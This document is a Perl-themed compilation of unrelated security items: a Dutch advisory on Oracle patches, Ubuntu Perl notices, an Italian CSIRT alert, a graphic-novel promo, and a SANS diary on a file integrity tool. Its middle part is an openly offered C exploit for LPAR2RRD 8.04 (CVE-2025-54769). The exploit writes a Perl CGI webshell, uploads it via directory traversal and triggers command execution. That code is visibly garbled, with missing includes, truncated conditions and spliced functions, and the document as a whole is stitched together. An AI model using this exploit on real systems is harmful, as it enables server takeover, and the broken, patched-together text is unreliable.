perl

Oracle heeft kwetsbaarheden verholpen in Communications producten en onderliggende third party software. Het betreft een totaal van 213 kwetsbaarheden, waarvan 67 zich bevinden in Oracle producten en 146 in third-party producten waar eerder updates voor zijn verschenen en welke in deze Oracle updates zijn verwerkt. De ernstigste kwetsbaarheden, 12 stuks, hebben een CVSS score van 9 en hoger gekregen en zijn hieronder omschreven. 11 hiervan bevinden zich in embedded third-party producten. De overige kwetsbaarheden hebben lagere scores gekregen en het voert te ver om detailinformatie op te nemen in deze advisory. Hiervoor verwijst het NCSC naar de bijgevoegde referentie. Oracle Communications Converged Application Server versies 8.2 en 8.3 bevatten een kwetsbaarheid die onbevoegde netwerktoegang mogelijk maakt en kan leiden tot volledige overname van het systeem. Libtiff tot versie 4.7.0 bevat een write-what-where kwetsbaarheid en een stack-based buffer overflow die kunnen worden geactiveerd door speciaal vervaardigde TIFF-bestanden, wat kan leiden tot code-executie of crashes. Apache Tomcat versies 8.5.0 tot 11.0.5 bevatten kwetsbaarheden waardoor speciaal opgemaakte HTTP-verzoeken rewrite rules en security constraints kunnen omzeilen, met mogelijke data disclosure, wijziging of denial of service als gevolg. Eclipse Jetty's HTTP/1.1 parser verwerkt chunked transfer encoding extensies met onjuist gesloten aanhalingstekens verkeerd, wat request smuggling mogelijk maakt en kan leiden tot cache poisoning, access control bypass en sessie kaping. Perl versies met een verouderde vendored zlib in Compress::Raw::Zlib bevatten meerdere beveiligingsproblemen die zijn opgelost in een specifieke commit. Lodash versies tot 4.17.23 bevatten meerdere kwetsbaarheden waaronder code-injectie via onbetrouwbare keys in _.template, prototype pollution, regex denial of service en command injection. Apache HTTP Server versies 2.4.0 tot 2.4.67 bevatten diverse kwetsbaarheden in meerdere modules die kunnen leiden tot server crashes, code-executie, cross-site scripting en informatielekken. Apache Kafka versies 4.1.0 en 4.1.1 hebben een kwetsbaarheid in de JWT token validatie waardoor onbevoegde toegang mogelijk is. AIOHTTP versies voor 3.13.4 accepteren null bytes en control characters in HTTP headers, wat header injectie en response splitting mogelijk maakt. De cryptography package van versies 45.0.0 tot 46.0.7 bevat een buffer overflow bij het verwerken van niet-contigu buffers op Python 3.11+, wat kan leiden tot crashes of informatielekken. Spring Boot versies 4.0.0 tot 4.0.5 bevatten een kwetsbaarheid die het mogelijk maakt om de standaard web security te omzeilen. Apache MINA versies 2.1.X en 2.2.X bevatten meerdere deserialisatie kwetsbaarheden die code-executie mogelijk maken door bypass van classname allowlist en filters.

Oracle heeft 158 kwetsbaarheden verholpen in Oracle Database Server, APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer en TimesTen In-Memory Database. Van deze kwetsbaarheden zijn 91 kwetsbaarheden afkomstig van third-party producten waarvoor eerder al updates zijn verschenen welke nu door Oracle zijn verwerkt, of betreffen kwetsbaarheden welke niet kunnen leiden tot exploitatie, omdat zij zich bevinden in delen van de producten die niet toegankelijk zijn. De zes ernstigste kwetsbaarheden hebben een CVSS score van 9 en hoger gekregen. De kwetsbaarheid in Eclipse Jetty's HTTP/1.1 parser, gebruikt in Oracle REST Data Services versies 24.2.0 tot 26.1.0, betreft incorrecte parsing van chunked transfer encoding extensies met ongesloten gequoteerde strings, waardoor HTTP request smuggling mogelijk is. Dit kan leiden tot cache poisoning, bypass van toegangscontrole, session hijacking en ongeautoriseerde toegang tot endpoints. Perl versies vanaf 5.9.4 tot 5.43.9 bevatten een kwetsbare Compress::Raw::Zlib module door een verouderde zlib bibliotheek met meerdere beveiligingsproblemen, waaronder CVE-2026-3381 en CVE-2026-27171. Deze kwetsbaarheid is relevant voor Perl distributies die vaak worden ingezet in Red Hat Enterprise Linux en OpenShift Container Platform omgevingen. Apache Kafka versies 4.1.0 en 4.1.1 bevatten een kwetsbaarheid in de JWT token validatie waarbij de standaard validator elke JWT token accepteert zonder correcte validatie, wat ongeautoriseerde toegang kan toestaan. Dit is opgelost door de validator expliciet in te stellen of te upgraden naar versie 4.1.2 of hoger. Oracle Communications Unified Assurance Message Bus componenten versies 6.1.1 tot 7.0.0, die Apache Kafka gebruiken, bevatten een kwetsbaarheid die ongeauthenticeerde netwerkaanvallers in staat stelt ongeautoriseerde toegang te verkrijgen en kritieke data te wijzigen. Oracle Net Services versies 19.3 tot 19.31, 21.3 tot 21.22 en 23.4.0 tot 23.26.2 bevatten een kwetsbaarheid die ongeauthenticeerde netwerktoegang mogelijk maakt om gevoelige informatie te verkrijgen of een denial of service te veroorzaken. Oracle TimesTen In-Memory Database versie 26.1.1.1.0 bevat een kwetsbaarheid in de Kubernetes Operator component die een aanvaller met lage privileges en netwerktoegang via HTTPS in staat stelt volledige controle over de database instance te verkrijgen. Oracle Database Server RDBMS componenten versies 19.3 tot 19.31 en 23.4.0 tot 23.26.2 bevatten een kwetsbaarheid waarbij een aanvaller met lage privileges en Execute DBMS_CLOUD rechten en netwerktoegang volledige controle over de RDBMS kan verkrijgen. Het voert te ver om de overige 152 kwetsbaarheden in detail te beschrijven in deze advisory en het NCSC verwijst dan ook naar de bijgevoegde referentie.

Details USN-8467-1 fixed vulnerabilities in Perl. This update provides the corresponding fix for Perl on Ubuntu 25.10. Original advisory details: It was discovered that Perl's Archive::Tar module incorrectly handled symlink and hardlink targets during extraction. An attacker could use this issue to read or overwrite arbitrary files outside the extraction directory. (CVE-2026-42496) It was discovered that Perl had a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds. An attacker could use this issue to cause a denial of service or possibly execute arbitrary code. (CVE-2026-8376) USN-8467-1 fixed vulnerabilities in Perl. This update provides the corresponding fix for Perl on Ubuntu 25.10. Original advisory details: It was discovered that Perl's Archive::Tar module incorrectly handled symlink and hardlink targets during extraction. An attacker could use this issue to read or overwrite arbitrary files outside the extraction directory. (CVE-2026-42496) It was discovered that Perl had a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds. An attacker could use this issue to cause a denial of service or possibly execute arbitrary code. (CVE-2026-8376) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

Risolte vulnerabilità della libreria Crypt::OpenSSL::PKCS12 per Perl Alert AL02/260518/CSIRT-ITA Sintesi Rilasciati aggiornamenti di sicurezza per correggere due vulnerabilità di sicurezza, tra cui una di gravità “alta”, che interessano la libreria Crypt::OpenSSL::PKCS12 per Perl, utilizzata per la gestione dei file PKCS#12. Più nello specifico, tali vulnerabilità, qualora sfruttate, potrebbero consentire a un utente malintenzionato l’esecuzione di codice arbitrario e determinare una gestione errata delle password dovuta alla loro troncatura al primo carattere NULL, con conseguente perdita di entropia e indebolimento dei meccanismi di autenticazione, compromettendo la sicurezza dei sistemi interessati. Tipologia Remote code execution Security Feature Bypass Prodotti e/o versioni affette Crypt::OpenSSL::PKCS12 (libreria Perl) versioni precedenti alla 1.95 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni del bollettino di sicurezza riportato nella sezione Riferimenti. Di seguito sono riportate le sole CVE relative alle vulnerabilità con gravità “alta”:

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

/* * Author : Byte Reaper * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE) * CVE : CVE-2025-54769 * Vulnerability: RCE && directory traversal * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution. */ #include #include #include #include "argparse.h" #include #include #include #define FULL 2500 void sleepAssembly() { struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; asm volatile ( "mov $35, %%rax\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "D" (&s) : "rax", "rsi", "memory" ); } void syscallLinux() { asm volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int fileS = 0; int useCookies = 0; int verboseMode = 0; const char *cookies; const char *ip = NULL; int portService = 0; int port = 0; int protocolS = 0; const char *protocol = NULL; int CreateFilePerl() { FILE *fileP = fopen("users.pl", "w"); if (fileP == NULL) { printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n"); syscallLinux(); return 0; } printf("[+] Create File Successfully\n"); char payloadContent[7000]; int payload = snprintf(payloadContent, sizeof(payloadContent), "#!/usr/bin/perl\n" "use strict;\n" "use warnings;\n" "use CGI;\n" "my $q = CGI->new;\n" "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n" "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n" "{\n" "\tprint \"Content-type: text/html\\n\\n\";\n" "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n" "\tprint $commandW;\n" "}\n" ); if (payload = sizeof(payloadContent)) { fprintf(stderr, "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n"); syscallLinux(); } size_t e = strlen(payloadContent); unsigned long writeLen = fwrite(payloadContent, 1, strlen(payloadContent), fileP); if (writeLen != e) { printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n"); syscallLinux(); return 0; } printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n"); fclose(fileP); return 1; } const char *resultCommand[] = { "root", "admin", "user", "ssh", "/home/", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); syscallLinux(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void getRequest(CURL *curl, const char *targetIP) { struct Mem responseGet ; responseGet.buffer = NULL; responseGet.len = 0; CURLcode codeLib; char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux", proto, targetIP, prt); if (n = sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } printf("\e[1;37m[+] GET URL: %s\e[0m\n", full); struct curl_slist *headers = NULL; headers = curl_slist_append(headers , "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Sec-Fetch-Dest: document"); headers = curl_slist_append(headers, "Sec-Fetch-Mode: navigate"); headers = curl_slist_append(headers, "Priority: u=0, i"); headers = curl_slist_append(headers, "Pragma: no-cache"); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLib = curl_easy_perform(curl); curl_slist_free_all(headers); if (codeLib == CURLE_OK) { printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n"); long codeH = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &codeH); printf("\e[1;36m[+] Request GET sent successfully\e[0m\n"); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH); if (responseGet.buffer) { if (verboseMode) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n"); printf("%s\n", responseGet.buffer); printf("\e[1;35m===================================================================================================================\e[0m\n"); } } if (codeH >= 200 && codeH %ld\e[0m\n", codeH); if (responseGet.buffer) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n"); printf("%s\n", responseGet.buffer); printf("\e[1;32m[+] Len Response : %zu\e[0m\n", responseGet.len); printf("\e[1;35m===================================================================================================================\n"); for (int j = 0; resultCommand[j]; j++) { if (strstr(responseGet.buffer, resultCommand[j])) { printf("\e[1;34m[+] Word Found In Response.\e[0m\n"); printf("\e[1;34m[+] Word : %s\e[0m\n", resultCommand[j]); printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n"); } else { if (verboseMode) { printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", resultCommand[j]); } else { continue; } } } } else { printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n"); if (verboseMode) { printf("\e[1;31m[-] Exit Syscall\e[0m\n"); } } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 %s\e[0m\n", response.buffer); printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len); printf("\e[1;35m=======================================================================================\n"); } if (!curl) { fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n"); syscallLinux(); } char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/upgrade.sh", proto, ipS, prt); if (n = sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } if (!CreateFilePerl()) { fprintf(stderr, "\e[1;31m[-] Failed to create File users.pl\e[0m\n"); syscallLinux(); } printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full); curl_mime *form = curl_mime_init(curl); curl_mimepart *field = curl_mime_addpart(form); curl_mime_name(field, "upgfile"); curl_mime_filedata(field, "users.pl"); curl_mime_filename(field, "users.pl"); curl_mime_type(field, "application/x-perl"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_MIMEPOST, form); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; char host[128]; int lenIp = snprintf(host , sizeof(host), "Host: %s:%d", ipS, prt); if (lenIp = sizeof(host)) { printf("\e[1;31m[-] IP Address is Long !\e[0m\n"); syscallLinux(); } headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "X-Requested-With: XMLHttpRequest"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Priority: u=0"); headers = curl_slist_append(headers, "Authorization: "); headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0"); headers = curl_slist_append(headers , host); void *m = memset(host , 0, sizeof(host)); if (m == NULL) { fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n"); syscallLinux(); } int lenO = snprintf(host , sizeof(host), "Origin: https://%s:%d", ipS, prt); if (lenO = sizeof(host)) { syscallLinux(); } headers = curl_slist_append(headers, host); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLibCurl = curl_easy_perform(curl); curl_mime_free(form); curl_slist_free_all(headers); if (codeLibCurl != CURLE_OK) { fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n", curl_easy_strerror(codeLibCurl)); syscallLinux(); } long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Protocol : %s\e[0m\n", protocol); printf("\e[1;36m[+] Port : %d\e[0m\n", port); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);; if (httpCode >= 200 && httpCode \e[0m\n"); fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n"); syscallLinux(); } if (verboseMode) { verboseMode = 1; } if (cookies) { useCookies = 1; } if (port) { portService = 1; } if (protocol) { protocolS = 1; } remoteCode(ip); curl_global_cleanup(); return 0; }

Details It was discovered that Perl threads incorrectly handled certain file operations. A local attacker could possibly use this issue to load code or access files from unexpected locations. The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

As I mention every time I teach FOR577, I have been a big fan of file integrity monitoring tools (FIM) since Gene Kim first released Tripwire well over 30 years ago. I've used quite a few of them over the years including tripwire, OSSEC, samhain, and aide, just to name a few. For many years, I used the fcheck Perl script (by Michael A. Gumienny) that was available as an apt package on Ubuntu because it was lightning fast. Unfortunately, sometime between Ubuntu 16.04 and Ubuntu 20.04 (my memory fails me as to exactly when), it slowed down on many of the systems I managed to the point where instead of being able to run it 4-6 times a day, it would now sometimes take more than 24 hours to run. And that was just running it on select directories, not the entire system, the way I run tools like aide. Though I started writing Perl scripts in 1989, I didn't spend any time trying to figure out why fcheck was suddenly having so many issues. I let it go for quite a while, but a few months ago, I started thinking about it again and decided I'd write a look-alike in python. What I'm releasing today is not quite complete, hence the 0.9.0 version number, but I've been using it an about a dozen systems (Debian and Ubuntu, though it shoud run just fine on any Linux with Python 3.9 or newer, probably older, too, but I again haven't tried it on anything older) for about 6 months. I still want to add a couple of things including the ability to include additional config files like the .local.cfg that fcheck had, rather than having to put all the additions into the primary config. I've named my tool ficheck.py[1] (File Integrity CHECK) since I didn't want to step on Mr. Gumienny's tool name, but I freely admit this is an homage to his tool that I really liked and used for years. I stole his config file and report formats. The script runs in under 90 seconds on all the systems I've been testing on including some large systems in public cloud and some very small memory VMs. I am also releasing a quick and dirty install script that will install a basic config, install a cron job to run it every 2 hours, and another of my scripts, mail_stuff.py[2] which will use mailx to send e-mail if it gets any ASCII (or UTF-8) bytes on stdin. Everything needed to install is in my scripts github repo[3]. The tool monitors for file creation and deletion, and inode number change (meaning a new file with same name), plus changes to file size, number of links, ownership, group, permissions, SHA2-256 hash (on files less than 500M, configurable witha commandline switch), file modification time (MTime), file metadata (inode) change time (CTime), and, if the pystatx module is installed (as described in my mac_robber.py update diary last year), file creation time (BTime). The directories I generally watch are ones where I don't expect a lot of changes unless I'm applying patches. I do tune it to remove some files that get modified regularly during normal operations. I also have added some places (like /dev/shm) where attackers sometimes try to hide their malware. Here is a screenshot of the e-mail received when there are changes found. Check it out. If you run into any problems or have suggestions for improvements, e-mail me at the address below or on the handlers list or open an issue on github. References: https://github.com/clausing/scripts/blob/master/ficheck.py https://github.com/clausing/scripts/blob/master/mail_stuff.py https://github.com/clausing/scripts/tree/master --------------- Jim Clausing, GIAC GSE #26 jclausing --at-- isc [dot] sans (dot) edu